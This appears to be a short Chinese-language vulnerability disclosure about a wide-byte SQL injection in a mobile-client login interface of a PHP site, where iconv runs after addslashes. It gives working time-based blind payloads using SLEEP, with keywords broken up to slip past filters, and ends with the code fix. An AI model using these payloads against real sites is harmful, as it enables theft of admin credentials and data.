手机客户端1处接口存在宽字节SQL注入,无关键字过滤,理论上可以获取任意数据。
对应代码:
$username经过iconv转换后直接进入了SQL,导致SQL注入。没有回显,只好时间延迟注入了。
0x01: "username": "%E9%8C%A6"返回数据库错误

0x02: "username": "%E9%8C%A6' A<A>ND (S<A>ELECT * F<A>ROM (SE<A>LECT(SL<A>EEP(1)))jmpX)#": 时间延迟

0x03: "username": "%E9%8C%A6' A<A>ND (S<A>ELECT * F<A>ROM (SE<A>LECT(SL<A>EEP(5)))jmpX)#": 时间延迟

写个代码取管理员密码:

$username=addslashes($username);
$password=addslashes($password);
$username=iconv("utf-8",QISHI_DBCHARSET,$username);
$password=iconv("utf-8",QISHI_DBCHARSET,$password);
=>
$username=iconv("utf-8",QISHI_DBCHARSET,$username);
$password=iconv("utf-8",QISHI_DBCHARSET,$password);
$username=addslashes($username);
$password=addslashes($password);